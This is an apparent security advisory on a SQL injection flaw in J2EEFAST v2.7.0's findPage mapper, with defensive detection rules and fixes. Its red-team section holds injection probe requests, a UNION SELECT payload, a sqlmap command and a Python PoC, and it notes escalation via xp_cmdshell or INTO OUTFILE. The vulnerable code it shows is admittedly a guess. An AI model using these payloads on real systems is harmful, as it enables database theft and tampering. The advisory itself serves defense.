CVE-2024-35085

Executive Summary

CVE-2024-35085 is a critical SQL injection vulnerability discovered in J2EEFAST v2.7.0, a Java-based rapid development framework. The flaw resides in the findPage function within ProcessDefinitionMapper.xml, allowing unauthenticated attackers to inject arbitrary SQL commands via crafted input. With a CVSS score of 0.0 (placeholder) but a vector indicating network exploitability with no privileges required, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No official patch has been released, and the vendor has not acknowledged the issue. Public proof-of-concept (PoC) code exists, making active exploitation likely.

Supply Chain & Package Security

J2EEFAST is a Java Maven-based project. The vulnerability is in the core framework code, not a third-party dependency. However, organizations using J2EEFAST should audit their entire dependency tree for other known vulnerabilities, as the framework may include outdated libraries. No malicious packages have been identified in the supply chain, but the lack of vendor response increases supply chain risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in MyBatis XML mapper files. The findPage function in ProcessDefinitionMapper.xml likely concatenates user-supplied input directly into SQL queries without parameterization or sanitization. For example:

<select id="findPage" resultType="com.j2eefast.framework.sys.entity.SysProcessDefinition">
    SELECT * FROM sys_process_definition
    WHERE name LIKE '%${searchValue}%'
</select>

The use of ${} (string substitution) instead of #{} (parameterized placeholder) allows an attacker to break out of the SQL string context. By injecting a single quote (') and SQL metacharacters, the attacker can execute arbitrary SQL commands.

Attack Flow:

1. Attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /processDefinition/findPage).
2. The searchValue parameter contains SQL injection payload, e.g., ' OR 1=1 --.
3. The MyBatis mapper executes the modified query, returning all rows or performing unauthorized operations.
4. Attacker can extract data, modify records, or execute system commands via xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL).

Vulnerable vs. Patched Code

Vulnerable Code (J2EEFAST v2.7.0):

<!-- ProcessDefinitionMapper.xml -->
<select id="findPage" parameterType="java.util.Map" resultType="com.j2eefast.framework.sys.entity.SysProcessDefinition">
    SELECT * FROM sys_process_definition
    WHERE name LIKE '%${searchValue}%'
    ORDER BY create_time DESC
</select>

Patched Code (Hypothetical):

<!-- ProcessDefinitionMapper.xml -->
<select id="findPage" parameterType="java.util.Map" resultType="com.j2eefast.framework.sys.entity.SysProcessDefinition">
    SELECT * FROM sys_process_definition
    WHERE name LIKE CONCAT('%', #{searchValue}, '%')
    ORDER BY create_time DESC
</select>

The patched version uses #{} which binds the parameter safely, preventing SQL injection. Additionally, input validation and output encoding should be implemented in the service layer.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• J2EEFAST v2.7.0 running on a test environment.
• Network access to the vulnerable endpoint (e.g., http://target:8080/j2eefast/processDefinition/findPage).

Exploitation Steps:

1. Identify the vulnerable parameter: Use a web proxy (Burp Suite) to intercept requests to /processDefinition/findPage. The searchValue parameter is likely the injection point.

2. Confirm SQL injection: Send a request with a single quote:

   GET /j2eefast/processDefinition/findPage?searchValue=test' HTTP/1.1
   

   If an error message appears (e.g., SQL syntax error), the injection is confirmed.

3. Extract database version (MySQL example):

   GET /j2eefast/processDefinition/findPage?searchValue=test' UNION SELECT 1,@@version,3,4,5-- HTTP/1.1
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target:8080/j2eefast/processDefinition/findPage?searchValue=test" --batch --dbs
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://target:8080/j2eefast/processDefinition/findPage"
payload = "' UNION SELECT 1,2,3,4,5-- "
params = {"searchValue": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection and Response:

1. Monitor for SQL injection patterns: Look for requests containing ', --, UNION, SELECT, OR 1=1 in the searchValue parameter.
2. Web Application Firewall (WAF) rules: Block requests with SQL metacharacters in the searchValue parameter.
3. Database activity monitoring: Alert on unusual queries (e.g., UNION SELECT, xp_cmdshell).
4. Immediate mitigation: If patching is not possible, disable the vulnerable endpoint or implement input validation at the reverse proxy level.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /j2eefast/processDefinition/findPage with SQL keywords in the searchValue parameter.
  • Outbound database connections from the application server to unknown IPs (data exfiltration).
• File IOCs:
  • Modified ProcessDefinitionMapper.xml (if attacker gains write access).
  • Suspicious files in the application directory (e.g., webshells).
• Log IOCs:
  • Database error logs containing SQL syntax errors.
  • Application logs showing findPage calls with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2024_35085_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting J2EEFAST findPage function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35085"
    strings:
        $sqli1 = /searchValue=.*['\"]/ nocase
        $sqli2 = /searchValue=.*UNION/i
        $sqli3 = /searchValue=.*OR\s+1=1/i
        $sqli4 = /searchValue=.*--/i
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2024-35085 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against J2EEFAST findPage endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'searchValue='
            - "'"
            - 'UNION'
            - 'OR 1=1'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of special characters in search terms (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35085 J2EEFAST SQL Injection Attempt"; flow:to_server; content:"/j2eefast/processDefinition/findPage"; http_uri; content:"searchValue="; http_uri; pcre:"/(?:'|UNION|OR\s+1=1|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not critical to business operations.
2. Apply input validation at the application layer (e.g., whitelist allowed characters for searchValue).
3. Use a Web Application Firewall (WAF) to block SQL injection patterns.

Long-term Fix:

1. Patch the code: Replace ${searchValue} with #{searchValue} in ProcessDefinitionMapper.xml.
2. Upgrade to a patched version if the vendor releases one (currently no patch available).
3. Conduct a security audit of all MyBatis mapper files for similar injection flaws.

Workaround:

• Implement a custom filter or interceptor to sanitize input before it reaches the mapper.

Valters IT